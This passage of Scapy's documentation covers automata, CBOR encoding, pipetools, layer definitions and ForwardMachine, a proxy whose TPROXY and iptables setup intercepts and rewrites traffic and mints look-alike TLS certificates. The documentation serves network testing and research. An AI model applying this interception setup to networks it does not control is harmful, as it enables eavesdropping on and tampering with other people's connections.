mode="octet") self.send(self.last_packet) self.awaiting=1 raise self.WAITING() # WAITING @ATMT.state() def WAITING(self): pass @ATMT.receive_condition(WAITING) def receive_data(self, pkt): if TFTP_DATA in pkt and pkt[TFTP_DATA].block == self.awaiting: if self.server_tid is None: self.server_tid = pkt[UDP].sport self.l3[UDP].dport = self.server_tid raise self.RECEIVING(pkt) @ATMT.action(receive_data) def send_ack(self): self.last_packet = self.l3 / TFTP_ACK(block = self.awaiting) self.send(self.last_packet) @ATMT.receive_condition(WAITING, prio=1) def receive_error(self, pkt): if TFTP_ERROR in pkt: raise self.ERROR(pkt) @ATMT.timeout(WAITING, 3) def timeout_waiting(self): raise self.WAITING() @ATMT.action(timeout_waiting) def retransmit_last_packet(self): self.send(self.last_packet) # RECEIVED @ATMT.state() def RECEIVING(self, pkt): recvd = pkt[Raw].load self.res += recvd self.awaiting += 1 if len(recvd) == self.blocksize: raise self.WAITING() raise self.END() # ERROR @ATMT.state(error=1) def ERROR(self,pkt): split_bottom_up(UDP, TFTP, dport=self.my_tid) return pkt[TFTP_ERROR].summary() #END @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) return self.res It can be run like this, for instance:: >>> atmt = TFTP_read("my_file", "192.168.1.128") >>> atmt.run() >>> atmt.destroy() Detailed documentation ---------------------- Decorators ^^^^^^^^^^ Decorator for states ~~~~~~~~~~~~~~~~~~~~ States are methods decorated by the result of the ``ATMT.state`` function. It can take 4 optional parameters, ``initial``, ``final``, ``stop`` and ``error``, that, when set to ``True``, indicating that the state is an initial, final, stop or error state. .. note:: The ``initial`` state is called while starting the automata. The ``final`` step will tell the automata has reached its end. If you call ``atmt.stop()``, the automata will move to the ``stop`` step whatever its current state is. The ``error`` state will mark the automata as errored. If no ``stop`` state is specified, calling ``stop`` and ``forcestop`` will be equivalent. :: class Example(Automaton): @ATMT.state(initial=1) def BEGIN(self): pass @ATMT.state() def SOME_STATE(self): pass @ATMT.state(final=1) def END(self): return "Result of the automaton: 42" @ATMT.state(stop=1) def STOP(self): print("SHUTTING DOWN...") # e.g. close sockets... @ATMT.condition(STOP) def is_stopping(self): raise self.END() @ATMT.state(error=1) def ERROR(self): return "Partial result, or explanation" # [...] Take for instance the TCP client: .. image:: ../graphics/ATMT_TCP_client.svg The ``START`` event is ``initial=1``, the ``STOP`` event is ``stop=1`` and the ``CLOSED`` event is ``final=1``. Decorators for transitions ~~~~~~~~~~~~~~~~~~~~~~~~~~ Transitions are methods decorated by the result of one of ``ATMT.condition``, ``ATMT.receive_condition``, ``ATMT.eof``, ``ATMT.timeout``, ``ATMT.timer``. They all take as argument the state method they are related to. ``ATMT.timeout`` and ``ATMT.timer`` also have a mandatory ``timeout`` parameter to provide the timeout value in seconds. The difference between ``ATMT.timeout`` and ``ATMT.timer`` is that ``ATMT.timeout`` gets triggered only once. ``ATMT.timer`` get reloaded automatically, which is useful for sending keep-alive packets. ``ATMT.condition`` and ``ATMT.receive_condition`` have an optional ``prio`` parameter so that the order in which conditions are evaluated can be forced. The default priority is 0. Transitions with the same priority level are called in an undetermined order. When the automaton switches to a given state, the state's method is executed. Then transitions methods are called at specific moments until one triggers a new state (something like ``raise self.MY_NEW_STATE()``). First, right after the state's method returns, the ``ATMT.condition`` decorated methods are run by growing prio. Then each time a packet is received and accepted by the master filter all ``ATMT.receive_condition`` decorated hods are called by growing prio. When a timeout is reached since the time we entered into the current space, the corresponding ``ATMT.timeout`` decorated method is called. If the socket raises an ``EOFError`` (closed) during a state, the ``ATMT.EOF`` transition is called. Otherwise it raises an exception and the automaton exits. :: class Example(Automaton): @ATMT.state() def WAITING(self): pass @ATMT.condition(WAITING) def it_is_raining(self): if not self.have_umbrella: raise self.ERROR_WET() @ATMT.receive_condition(WAITING, prio=1) def it_is_ICMP(self, pkt): if ICMP in pkt: raise self.RECEIVED_ICMP(pkt) @ATMT.receive_condition(WAITING, prio=2) def it_is_IP(self, pkt): if IP in pkt: raise self.RECEIVED_IP(pkt) @ATMT.timeout(WAITING, 10.0) def waiting_timeout(self): raise self.ERROR_TIMEOUT() Decorator for actions ~~~~~~~~~~~~~~~~~~~~~ Actions are methods that are decorated by the return of ``ATMT.action`` function. This function takes the transition method it is bound to as first parameter and an optional priority ``prio`` as a second parameter. The default priority is 0. An action method can be decorated many times to be bound to many transitions. :: from random import random class Example(Automaton): @ATMT.state(initial=1) def BEGIN(self): pass @ATMT.state(final=1) def END(self): pass @ATMT.condition(BEGIN, prio=1) def maybe_go_to_end(self): if random() > 0.5: raise self.END() @ATMT.condition(BEGIN, prio=2) def certainly_go_to_end(self): raise self.END() @ATMT.action(maybe_go_to_end) def maybe_action(self): print("We are lucky...") @ATMT.action(certainly_go_to_end) def certainly_action(self): print("We are not lucky...") @ATMT.action(maybe_go_to_end, prio=1) @ATMT.action(certainly_go_to_end, prio=1) def always_action(self): print("This wasn't luck!...") The two possible outputs are:: >>> a=Example() >>> a.run() We are not lucky... This wasn't luck!... >>> a.run() We are lucky... This wasn't luck!... >>> a.destroy() .. note:: If you want to pass a parameter to an action, you can use the ``action_parameters`` function while raising the next state. In the following example, the ``send_copy`` action takes a parameter passed by ``is_fin``:: class Example(Automaton): @ATMT.state() def WAITING(self): pass @ATMT.state() def FIN_RECEIVED(self): pass @ATMT.receive_condition(WAITING) def is_fin(self, pkt): if pkt[TCP].flags.F: raise self.FIN_RECEIVED().action_parameters(pkt) @ATMT.action(is_fin) def send_copy(self, pkt): send(pkt) Methods to overload ^^^^^^^^^^^^^^^^^^^ Two methods are hooks to be overloaded: * The ``parse_args()`` method is called with arguments given at ``__init__()`` and ``run()``. Use that to parametrize the behavior of your automaton. * The ``master_filter()`` method is called each time a packet is sniffed and decides if it is interesting for the automaton. When working on a specific protocol, this is where you will ensure the packet belongs to the connection you are being part of, so that you do not need to make all the sanity checks in each transition. Timer configuration ^^^^^^^^^^^^^^^^^^^ Some protocols allow timer configuration. In order to configure timeout values during class initialization one may use ``timer_by_name()`` method, which returns ``Timer`` object associated with the given function name:: class Example(Automaton): def __init__(self, *args, **kwargs): super(Example, self).__init__(*args, **kwargs) timer = self.timer_by_name("waiting_timeout") timer.set(1) @ATMT.state(initial=1) def WAITING(self): pass @ATMT.state(final=1) def END(self): pass @ATMT.timeout(WAITING, 10.0) def waiting_timeout(self): raise self.END() ================================================ FILE: doc/scapy/advanced_usage/cbor.rst ================================================ CBOR ==== What is CBOR? ------------- .. note:: This section provides a practical introduction to CBOR from Scapy's perspective. For the complete specification, see RFC 8949. CBOR (Concise Binary Object Representation) is a data format whose goal is to provide a compact, self-describing binary data interchange format based on the JSON data model. It is defined in RFC 8949 and is designed to be small in code size, reasonably small in message size, and extensible without the need for version negotiation. CBOR provides basic data types including: * **Unsigned integers** (major type 0): Non-negative integers * **Negative integers** (major type 1): Negative integers * **Byte strings** (major type 2): Raw binary data * **Text strings** (major type 3): UTF-8 encoded strings * **Arrays** (major type 4): Ordered sequences of values * **Maps** (major type 5): Unordered key-value pairs * **Semantic tags** (major type 6): Tagged values with additional semantics * **Simple values and floats** (major type 7): Booleans, null, undefined, and floating-point numbers Each CBOR data item begins with an initial byte that encodes the major type (in the top 3 bits) and additional information (in the low 5 bits). This design allows for compact encoding while maintaining self-describing properties. Scapy and CBOR -------------- Creating CBOR objects ^^^^^^^^^^^^^^^^^^^^^ CBOR objects can be easily created and composed:: >>> from scapy.cbor import CBOR_UNSIGNED_INTEGER, CBOR_TEXT_STRING, CBOR_BYTE_STRING, CBOR_ARRAY >>> # Create basic types >>> num = CBOR_UNSIGNED_INTEGER(42) >>> text = CBOR_TEXT_STRING("Hello, CBOR!") >>> data = CBOR_BYTE_STRING(b'\x01\x02\x03') >>> >>> # Create collections >>> arr = CBOR_ARRAY([CBOR_UNSIGNED_INTEGER(1), ... CBOR_UNSIGNED_INTEGER(2), ... CBOR_TEXT_STRING("three")]) >>> arr , , ]]> >>> >>> # Create maps >>> from scapy.cbor.cborcodec import CBORcodec_MAP >>> mapping = {"name": "Alice", "age": 30, "active": True} Encoding and decoding ^^^^^^^^^^^^^^^^^^^^^ CBOR objects are encoded using their ``.enc()`` method. All codecs are referenced in the ``CBOR_Codecs`` object. The default codec is ``CBOR_Codecs.CBOR``:: >>> num = CBOR_UNSIGNED_INTEGER(42) >>> encoded = bytes(num) >>> encoded.hex() '182a' >>> >>> # Decode back >>> decoded, remainder = CBOR_Codecs.CBOR.dec(encoded) >>> decoded.val 42 >>> isinstance(decoded, CBOR_UNSIGNED_INTEGER) True Encoding collections:: >>> from scapy.cbor import CBORcodec_ARRAY, CBORcodec_MAP >>> # Encode an array >>> encoded = CBORcodec_ARRAY.enc([1, 2, 3, 4, 5]) >>> encoded.hex() '850102030405' >>> >>> # Decode the array >>> decoded, _ = CBOR_Codecs.CBOR.dec(encoded) >>> [item.val for item in decoded.val] [1, 2, 3, 4, 5] >>> >>> # Encode a map >>> encoded = CBORcodec_MAP.enc({"x": 100, "y": 200}) >>> decoded, _ = CBOR_Codecs.CBOR.dec(encoded) >>> isinstance(decoded, CBOR_MAP) True Working with different types ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ CBOR supports various data types:: >>> # Booleans >>> true_val = CBOR_TRUE() >>> false_val = CBOR_FALSE() >>> bytes(true_val).hex() 'f5' >>> bytes(false_val).hex() 'f4' >>> >>> # Null and undefined >>> null_val = CBOR_NULL() >>> undef_val = CBOR_UNDEFINED() >>> bytes(null_val).hex() 'f6' >>> bytes(undef_val).hex() 'f7' >>> >>> # Floating point >>> float_val = CBOR_FLOAT(3.14159) >>> bytes(float_val).hex() 'fb400921f9f01b866e' >>> >>> # Negative integers >>> neg = CBOR_NEGATIVE_INTEGER(-100) >>> bytes(neg).hex() '3863' Complex structures ^^^^^^^^^^^^^^^^^^ CBOR supports nested structures:: >>> # Nested arrays >>> nested = CBORcodec_ARRAY.enc([1, [2, 3], [4, [5, 6]]]) >>> decoded, _ = CBOR_Codecs.CBOR.dec(nested) >>> isinstance(decoded, CBOR_ARRAY) True >>> >>> # Complex maps with mixed types >>> data = { ... "name": "Bob", ... "age": 25, ... "active": True, ... "tags": ["user", "admin"] ... } >>> encoded = CBORcodec_MAP.enc(data) >>> decoded, _ = CBOR_Codecs.CBOR.dec(encoded) >>> len(decoded.val) 4 Semantic tags ^^^^^^^^^^^^^ CBOR supports semantic tags (major type 6) for providing additional meaning to data items:: >>> # Tag 1 is for Unix epoch timestamps >>> import time >>> timestamp = int(time.time()) >>> tagged = CBOR_SEMANTIC_TAG((1, CBOR_UNSIGNED_INTEGER(timestamp))) >>> encoded = bytes(tagged) >>> decoded, _ = CBOR_Codecs.CBOR.dec(encoded) >>> decoded.val[0] # Tag number 1 Error handling ^^^^^^^^^^^^^^ Scapy provides safe decoding with error handling:: >>> # Safe decoding returns error objects for invalid data >>> invalid_data = b'\xff\xff\xff' >>> obj, remainder = CBOR_Codecs.CBOR.safedec(invalid_data) >>> isinstance(obj, CBOR_DECODING_ERROR) True ================================================ FILE: doc/scapy/advanced_usage/fwdmachine.rst ================================================ ****************** Forwarding Machine ****************** Scapy's ``ForwardMachine`` is a utility that allows to create a server that forwards packets to another server, with the ability to modify them on-the-fly. This is similar to a "proxy", but works on the layer 4 (rather than 5+). The ``ForwardMachine`` was initially designed to be used with TPROXY, a linux feature that allows to bind a socket that receives *packets to any IP destination* (usually, a socket only receives packets whose destination is local), but it also work as a standalone server (that binds a normal socket). A ``ForwardMachine`` is expected to be used over a normal Python socket, of any kind, and needs to extended with two functions: ``xfrmcs`` and ``xfrmsc``. The first one is called whenever data is received from the client side (client-to-server, "cs"), the other when the data is received from the server (server-to-client, "sc") ``ForwardMachine`` can be used in two modes: - **TPROXY**, acts as a transparent proxy that intercepts one or many connections towards multiple servers - **SERVER**, acts like a glorified socat that accepts connections towards the local server Basic usage ___________ Here's an example of a ``ForwardMachine`` over TPROXY that does nothing. Packets for all destinations are handled, and forwarded to their initial destinations afterwards. More details on how to setup TPROXY are provided below. .. code:: python from scapy.fwdmachine import ForwardMachine from scapy.layers.http import HTTP class NOPFwdMachine(ForwardMachine): def xfrmcs(self, pkt, ctx): pkt.show() # we print the client->server packets raise self.FORWARD() def xfrmsc(self, pkt, ctx): pkt.show() # we print the server->client packets raise self.FORWARD() # Run it NOPFwdMachine( mode=ForwardMachine.MODE.TPROXY, port=80, cls=HTTP, # we specify the class of the payload we are receiving ).run() The callback classes use **Operations** to tell the ``ForwardMachine`` what to do with the incoming data. .. figure:: ../graphics/fwdmachine.svg :align: center The main operations available in a Forwarding machine, in this case in ``xfrmcs``. There are currently 5 operations available: - **FORWARD**: forward the received payload to the destination intended by the peer; - **FORWARD_REPLACE**: forward a modified payload to the intended destination; - **DROP**: drop the received payload; - **ANSWER**: answer the peer directly with a payload, without forwarding its original payload to the other peer; - **REDIRECT_TO**: (client-side only) redirects the connection of the client towards a new remote peer. The ``ctx`` attribute in the callbacks contains context relative to the current client. It can also be use to store additional data specific to the session. If we were to use this machine in SERVER mode, we would call it like: .. code:: python NOPFwdMachine( mode=ForwardMachine.MODE.SERVER, port=12345, bind_address="0.0.0.0", # the address we bind on remote_address="192.168.0.1", # the server to redirect this to by default cls=conf.raw_layer, # Default Raw layer: we don't know the type of data ).run() TLS support ___________ ``ForwardMachine`` has support for TLS through the ``ssl=True`` argument. When TLS is enabled, the SNI (Server Name Indication) is properly forwarded to the remote peer, and can be accessed through the ``ctx.tls_sni_name`` attribute in the callbacks. **By default, a ForwardMachine generates self-signed certificates** that copy the attributes from the certificate of the remote server. This behavior can be changed by specifying a certificate (which will be served by the TLS stack). We can run the same ForwardMachine as from the previous example, this time with self-signed TLS. .. code:: python # Run it NOPFwdMachine( mode=ForwardMachine.MODE.SERVER, port=443, cls=HTTP, ssl=True, ).run() Configuring TPROXY __________________ TPROXY is a special socket mode that allows to bind a socket that listens for traffic that isn't directed at a local address. This is typically used by "transparent TLS proxies" to achieve their functionality, and is expected to be setup on a linux router. The ``ForwardingMachine`` supports TPROXY, which allows to intercept and modify all the traffic by many clients to many destinations, for instance on a specific port. This is much more versatile that a classic bind + socket, which would typically forward multiple clients to a single destination. Here are the steps: - Setup an interface that one can redirect traffic to, and that has TPROXY support. - Bind the ``ForwardingMachine`` on that interface. - Redirect some traffic to that interface, using ``iptables`` or ``nftables``, based on some arbitrary criteria. For ease of use, a script ``vethrelay.sh`` is provided to setup a veth (virtual ethernet) interface that can be used to bind the ``ForwardingMachine`` on. This script is available at https://github.com/secdev/scapy/blob/master/doc/scapy/_static/vethrelay.sh .. code:: bash ./vethrelay.sh setup Interface vethrelay is now setup with IPv4: 2.2.2.2 ! Add listening rules as follow: # TPROXY incoming TCP packets on port 80 to vethrelay on port 8080 iptables -t mangle -A PREROUTING -p tcp --dport 80 -j TPROXY --tproxy-mark 0x1/0x1 --on-port 8080 --on-ip 2.2.2.2 # Listen on wlp4s0 for incoming packets on port 80 (on the interface where it really comes from) iptables -A INPUT -i wlp4s0 -p tcp --dport 80 -j ACCEPT As the instructions say, to have traffic to anything on the port 80 go through the ``ForwardingMachine``, one can run the commands listed above assuming that the machine is started as such: .. code:: python NOPFwdMachine( mode=ForwardMachine.MODE.TPROXY, port=8080, cls=HTTP, ).run() ================================================ FILE: doc/scapy/advanced_usage/index.rst ================================================ .. Advanced usage documentation Advanced usage ============== .. toctree:: :glob: :titlesonly: * ================================================ FILE: doc/scapy/advanced_usage/pipetools.rst ================================================ .. _pipetools: PipeTools ========= Scapy's ``pipetool`` is a smart piping system allowing to perform complex stream data management. The goal is to create a sequence of steps with one or several inputs and one or several outputs, with a bunch of blocks in between. PipeTools can handle varied sources of data (and outputs) such as user input, pcap input, sniffing, wireshark... A pipe system is implemented by manually linking all its parts. It is possible to dynamically add an element while running or set multiple drains for the same source. .. note:: Pipetool default objects are located inside ``scapy.pipetool`` Demo: sniff, anonymize, send to Wireshark ----------------------------------------- The following code will sniff packets on the default interface, anonymize the source and destination IP addresses and pipe it all into Wireshark. Useful when posting online examples, for instance. .. code-block:: python3 source = SniffSource(iface=conf.iface) wire = WiresharkSink() def transf(pkt): if not pkt or IP not in pkt: return pkt pkt[IP].src = "1.1.1.1" pkt[IP].dst = "2.2.2.2" return pkt source > TransformDrain(transf) > wire p = PipeEngine(source) p.start() p.wait_and_stop() The engine is pretty straightforward: .. image:: ../graphics/pipetool_demo.svg Let's run it: .. image:: ../graphics/animations/pipetool_demo.gif Class Types ----------- There are 3 different class of objects used for data management: - ``Sources`` - ``Drains`` - ``Sinks`` They are executed and handled by a :class:`~scapy.pipetool.PipeEngine` object. When running, a pipetool engine waits for any available data from the Source, and send it in the Drains linked to it. The data then goes from Drains to Drains until it arrives in a Sink, the final state of this data. Let's see with a basic demo how to build a pipetool system. .. image:: ../graphics/pipetool_engine.png For instance, this engine was generated with this code: .. code:: pycon >>> s = CLIFeeder() >>> s2 = CLIHighFeeder() >>> d1 = Drain() >>> d2 = TransformDrain(lambda x: x[::-1]) >>> si1 = ConsoleSink() >>> si2 = QueueSink() >>> >>> s > d1 >>> d1 > si1 >>> d1 > si2 >>> >>> s2 >> d1 >>> d1 >> d2 >>> d2 >> si1 >>> >>> p = PipeEngine() >>> p.add(s) >>> p.add(s2) >>> p.graph(target="> the_above_image.png") ``start()`` is used to start the :class:`~scapy.pipetool.PipeEngine`: .. code:: pycon >>> p.start() Now, let's play with it by sending some input data .. code:: pycon >>> s.send("foo") >'foo' >>> s2.send("bar") >>'rab' >>> s.send("i like potato") >'i like potato' >>> print(si2.recv(), ":", si2.recv()) foo : i like potato Let's study what happens here: - there are **two canals** in a :class:`~scapy.pipetool.PipeEngine`, a lower one and a higher one. Some Sources write on the lower one, some on the higher one and some on both. - most sources can be linked to any drain, on both lower and higher canals. The use of ``>`` indicates a link on the low canal, and ``>>`` on the higher one. - when we send some data in ``s``, which is on the lower canal, as shown above, it goes through the :class:`~scapy.pipetool.Drain` then is sent to the :class:`~.scapy.pipetool.QueueSink` and to the :class:`~scapy.pipetool.ConsoleSink` - when we send some data in ``s2``, it goes through the Drain, then the TransformDrain where the data is reversed (see the lambda), before being sent to :class:`~scapy.pipetool.ConsoleSink` only. This explains why we only have the data of the lower sources inside the QueueSink: the higher one has not been linked. Most of the sinks receive from both lower and upper canals. This is verifiable using the `help(ConsoleSink)` .. code:: pycon >>> help(ConsoleSink) Help on class ConsoleSink in module scapy.pipetool: class ConsoleSink(Sink) | Print messages on low and high entries | +-------+ | >>-|--. |->> | | print | | >-|--' |-> | +-------+ | [...] Sources ^^^^^^^ A Source is a class that generates some data. There are several source types integrated with Scapy, usable as-is, but you may also create yours. Default Source classes ~~~~~~~~~~~~~~~~~~~~~~ For any of those class, have a look at ``help([theclass])`` to get more information or the required parameters. - :class:`~scapy.pipetool.CLIFeeder` : a source especially used in interactive software. its ``send(data)`` generates the event data on the lower canal - :class:`~scapy.pipetool.CLIHighFeeder` : same than CLIFeeder, but writes on the higher canal - :class:`~scapy.pipetool.PeriodicSource` : Generate messages periodically on the low canal. - :class:`~scapy.pipetool.AutoSource`: the default source, that must be extended to create custom sources. Create a custom Source ~~~~~~~~~~~~~~~~~~~~~~ To create a custom source, one must extend the :class:`~scapy.pipetool.AutoSource` class. .. note:: Do NOT use the default :class:`~scapy.pipetool.Source` class except if you are really sure of what you are doing: it is only used internally, and is missing some implementation. The :class:`~scapy.pipetool.AutoSource` is made to be used. To send data through it, the object must call its ``self._gen_data(msg)`` or ``self._gen_high_data(msg)`` functions, which send the data into the PipeEngine. The Source should also (if possible), set ``self.is_exhausted`` to ``True`` when empty, to allow the clean stop of the :class:`~scapy.pipetool.PipeEngine`. If the source is infinite, it will need a force-stop (see PipeEngine below) For instance, here is how :class:`~scapy.pipetool.CLIHighFeeder` is implemented: .. code:: python3 class CLIFeeder(CLIFeeder): def send(self, msg): self._gen_high_data(msg) def close(self): self.is_exhausted = True Drains ^^^^^^ Default Drain classes ~~~~~~~~~~~~~~~~~~~~~ Drains need to be linked on the entry that you are using. It can be either on the lower one (using ``>``) or the upper one (using ``>>``). See the basic example above. - :class:`~scapy.pipetool.Drain` : the most basic Drain possible. Will pass on both low and high entry if linked properly. - :class:`~scapy.pipetool.TransformDrain` : Apply a function to messages on low and high entry - :class:`~scapy.pipetool.UpDrain` : Repeat messages from low entry to high exit - :class:`~scapy.pipetool.DownDrain` : Repeat messages from high entry to low exit Create a custom Drain ~~~~~~~~~~~~~~~~~~~~~ To create a custom drain, one must extend the :class:`~scapy.pipetool.Drain` class. A :class:`~scapy.pipetool.Drain` object will receive data from the lower canal in its ``push`` method, and from the higher canal from its ``high_push`` method. To send the data back into the next linked Drain / Sink, it must call the ``self._send(msg)`` or ``self._high_send(msg)`` methods. For instance, here is how :class:`~scapy.pipetool.TransformDrain` is implemented:: class TransformDrain(Drain): def __init__(self, f, name=None): Drain.__init__(self, name=name) self.f = f def push(self, msg): self._send(self.f(msg)) def high_push(self, msg): self._high_send(self.f(msg)) Sinks ^^^^^ Sinks are destinations for messages. A :py:class:`~scapy.pipetool.Sink` receives data like a :py:class:`~scapy.pipetool.Drain`, but doesn't send any messages after it. Messages on the low entry come from :py:meth:`~scapy.pipetool.Sink.push`, and messages on the high entry come from :py:meth:`~scapy.pipetool.Sink.high_push`. Default Sinks classes ~~~~~~~~~~~~~~~~~~~~~ - :class:`~scapy.pipetool.ConsoleSink` : Print messages on low and high entries to ``stdout`` - :class:`~scapy.pipetool.RawConsoleSink` : Print messages on low and high entries, using os.write - :class:`~scapy.pipetool.TermSink` : Prints messages on the low and high entries, on a separate terminal - :class:`~scapy.pipetool.QueueSink` : Collects messages on the low and high entries into a :py:class:`Queue` Create a custom Sink ~~~~~~~~~~~~~~~~~~~~ To create a custom sink, one must extend :py:class:`~scapy.pipetool.Sink` and implement :py:meth:`~scapy.pipetool.Sink.push` and/or :py:meth:`~scapy.pipetool.Sink.high_push`. This is a simplified version of :py:class:`~scapy.pipetool.ConsoleSink`: .. code-block:: python3 class ConsoleSink(Sink): def push(self, msg): print(">%r" % msg) def high_push(self, msg): print(">>%r" % msg) Link objects ------------ As shown in the example, most sources can be linked to any drain, on both low and high entry. The use of ``>`` indicates a link on the low entry, and ``>>`` on the high entry. For example, to link ``a``, ``b`` and ``c`` on the low entries: .. code-block:: pycon >>> a = CLIFeeder() >>> b = Drain() >>> c = ConsoleSink() >>> a > b > c >>> p = PipeEngine() >>> p.add(a) This wouldn't link the high entries, so something like this would do nothing: .. code-block:: pycon >>> a2 = CLIHighFeeder() >>> a2 >> b >>> a2.send("hello") Because ``b`` (:py:class:`~scapy.pipetool.Drain`) and ``c`` (:py:class:`scapy.pipetool.ConsoleSink`) are not linked on the high entry. However, using a :py:class:`~scapy.pipetool.DownDrain` would bring the high messages from :py:class:`~scapy.pipetool.CLIHighFeeder` to the lower channel: .. code-block:: pycon >>> a2 = CLIHighFeeder() >>> b2 = DownDrain() >>> a2 >> b2 >>> b2 > b >>> a2.send("hello") The PipeEngine class -------------------- The :class:`~scapy.pipetool.PipeEngine` class is the core class of the Pipetool system. It must be initialized and passed the list of all Sources. There are two ways of passing sources: - during initialization: ``p = PipeEngine(source1, source2, ...)`` - using the ``add(source)`` method A :class:`~scapy.pipetool.PipeEngine` class must be started with ``.start()`` function. It may be force-stopped with the ``.stop()``, or cleanly stopped with ``.wait_and_stop()`` A clean stop only works if the Sources is exhausted (has no data to send left). It can be printed into a graph using ``.graph()`` methods. see ``help(do_graph)`` for the list of available keyword arguments. Scapy advanced PipeTool objects ------------------------------- .. note:: Unlike the previous objects, those are not located in ``scapy.pipetool`` but in ``scapy.scapypipes`` Now that you know the default PipeTool objects, here are some more advanced ones, based on packet functionalities. - :class:`~scapy.scapypipes.SniffSource` : Read packets from an interface and send them to low exit. - :class:`~scapy.scapypipes.RdpcapSource` : Read packets from a PCAP file send them to low exit. - :class:`~scapy.scapypipes.InjectSink` : Packets received on low input are injected (sent) to an interface - :class:`~scapy.scapypipes.WrpcapSink` : Packets received on low input are written to PCAP file - :class:`~scapy.scapypipes.UDPDrain` : UDP payloads received on high entry are sent over UDP (complicated, have a look at ``help(UDPDrain)``) - :class:`~scapy.scapypipes.FDSourceSink` : Use a file descriptor as source and sink - :class:`~scapy.scapypipes.TCPConnectPipe`: TCP connect to addr:port and use it as source and sink - :class:`~scapy.scapypipes.TCPListenPipe` : TCP listen on [addr:]port and use the first connection as source and sink (complicated, have a look at ``help(TCPListenPipe)``) Triggering ---------- Some special sort of Drains exists: the Trigger Drains. Trigger Drains are special drains, that on receiving data not only pass it by but also send a "Trigger" input, that is received and handled by the next triggered drain (if it exists). For example, here is a basic :class:`~scapy.scapypipes.TriggerDrain` usage: .. code:: pycon >>> a = CLIFeeder() >>> d = TriggerDrain(lambda msg: True) # Pass messages and trigger when a condition is met >>> d2 = TriggeredValve() >>> s = ConsoleSink() >>> a > d > d2 > s >>> d ^ d2 # Link the triggers >>> p = PipeEngine(s) >>> p.start() INFO: Pipe engine thread started. >>> >>> a.send("this will be printed") >'this will be printed' >>> a.send("this won't, because the valve was switched") >>> a.send("this will, because the valve was switched again") >'this will, because the valve was switched again' >>> p.stop() Several triggering Drains exist, they are pretty explicit. It is highly recommended to check the doc using ``help([the class])`` - :class:`~scapy.scapypipes.TriggeredMessage` : Send a preloaded message when triggered and trigger in chain - :class:`~scapy.scapypipes.TriggerDrain` : Pass messages and trigger when a condition is met - :class:`~scapy.scapypipes.TriggeredValve` : Let messages alternatively pass or not, changing on trigger - :class:`~scapy.scapypipes.TriggeredQueueingValve` : Let messages alternatively pass or queued, changing on trigger - :class:`~scapy.scapypipes.TriggeredSwitch` : Let messages alternatively high or low, changing on trigger ================================================ FILE: doc/scapy/backmatter.rst ================================================ ******* Credits ******* The maintainers of Scapy are: - Pierre Lalet - Gabriel Potter (Lead maintainer) - Guillaume Valadon - Nils Weiss Former maintainers include: - Philippe Biondi, who was Scapy's original author. Other documentation credits include: - Fred Raynal wrote the chapter on building and dissecting packets. - Peter Kacherginsky contributed several tutorial sections, one-liners and recipes. - Dirk Loss integrated and restructured the existing docs to make this book. ================================================ FILE: doc/scapy/build_dissect.rst ================================================ ******************** Adding new protocols ******************** Adding a new protocol (or more correctly: a new *layer*) in Scapy is very easy. All the magic is in the fields. If the fields you need are already there and the protocol is not too brain-damaged, this should be a matter of minutes. Simple example ============== A layer is a subclass of the ``Packet`` class. All the logic behind layer manipulation is held by the ``Packet`` class and will be inherited. A simple layer is compounded by a list of fields that will be either concatenated when assembling the layer or dissected one by one when disassembling a string. The list of fields is held in an attribute named ``fields_desc``. Each field is an instance of a field class:: class Disney(Packet): name = "DisneyPacket " fields_desc=[ ShortField("mickey",5), XByteField("minnie",3) , IntEnumField("donald" , 1 , { 1: "happy", 2: "cool" , 3: "angry" } ) ] In this example, our layer has three fields. The first one is a 2-byte integer field named ``mickey`` and whose default value is 5. The second one is a 1-byte integer field named ``minnie`` and whose default value is 3. The difference between a vanilla ``ByteField`` and an ``XByteField`` is only the fact that the preferred human representation of the field’s value is in hexadecimal. The last field is a 4-byte integer field named ``donald``. It is different from a vanilla ``IntField`` by the fact that some of the possible values of the field have literate representations. For example, if it is worth 3, the value will be displayed as angry. Moreover, if the "cool" value is assigned to this field, it will understand that it has to take the value 2. If your protocol is as simple as this, it is ready to use:: >>> d=Disney(mickey=1) >>> ls(d) mickey : ShortField = 1 (5) minnie : XByteField = 3 (3) donald : IntEnumField = 1 (1) >>> d.show() ###[ Disney Packet ]### mickey= 1 minnie= 0x3 donald= happy >>> d.donald="cool" >>> raw(d) ’\x00\x01\x03\x00\x00\x00\x02’ >>> Disney(_) This chapter explains how to build a new protocol within Scapy. There are two main objectives: * Dissecting: this is done when a packet is received (from the network or a file) and should be converted to Scapy’s internals. * Building: When one wants to send such a new packet, some stuff needs to be adjusted automatically in it. Layers ====== Before digging into dissection itself, let us look at how packets are organized. :: >>> p = IP()/TCP()/"AAAA" >>> p >> >>> p.summary() 'IP / TCP 127.0.0.1:ftp-data > 127.0.0.1:www S / Raw' We are interested in 2 "inside" fields of the class ``Packet``: * ``p.underlayer`` * ``p.payload`` And here is the main "trick". You do not care about packets, only about layers, stacked one after the other. One can easily access a layer by its name: ``p[TCP]`` returns the ``TCP`` and following layers. This is a shortcut for ``p.getlayer(TCP)``. .. note:: There is an optional argument (``nb``) which returns the ``nb`` th layer of required protocol. Let's put everything together now, playing with the ``TCP`` layer:: >>> tcp=p[TCP] >>> tcp.underlayer >> >>> tcp.payload As expected, ``tcp.underlayer`` points to the beginning of our IP packet, and ``tcp.payload`` to its payload. Building a new layer -------------------- .. index:: single: Layer VERY EASY! A layer is mainly a list of fields. Let's look at ``UDP`` definition:: class UDP(Packet): name = "UDP" fields_desc = [ ShortEnumField("sport", 53, UDP_SERVICES), ShortEnumField("dport", 53, UDP_SERVICES), ShortField("len", None), XShortField("chksum", None), ] And you are done! There are many fields already defined for convenience, look at the doc``^W`` sources as Phil would say. So, defining a layer is simply gathering fields in a list. The goal is here to provide the efficient default values for each field so the user does not have to give them when he builds a packet. The main mechanism is based on the ``Field`` structure. Always keep in mind that a layer is just a little more than a list of fields, but not much more. So, to understand how layers are working, one needs to look quickly at how the fields are handled. Manipulating packets == manipulating its fields ----------------------------------------------- .. index:: single: i2h() single: i2m() single: m2i() A field should be considered in different states: - ``i`` (nternal) : this is the way Scapy manipulates it. - ``m`` (achine) : this is where the truth is, that is the layer as it is on the network. - ``h`` (uman) : how the packet is displayed to our human eyes. This explains the mysterious methods ``i2h()``, ``i2m()``, ``m2i()`` and so on available in each field: they are the conversion from one state to another, adapted to a specific use. Other special functions: - ``any2i()`` guess the input representation and returns the internal one. - ``i2repr()`` a nicer ``i2h()`` However, all these are "low level" functions. The functions 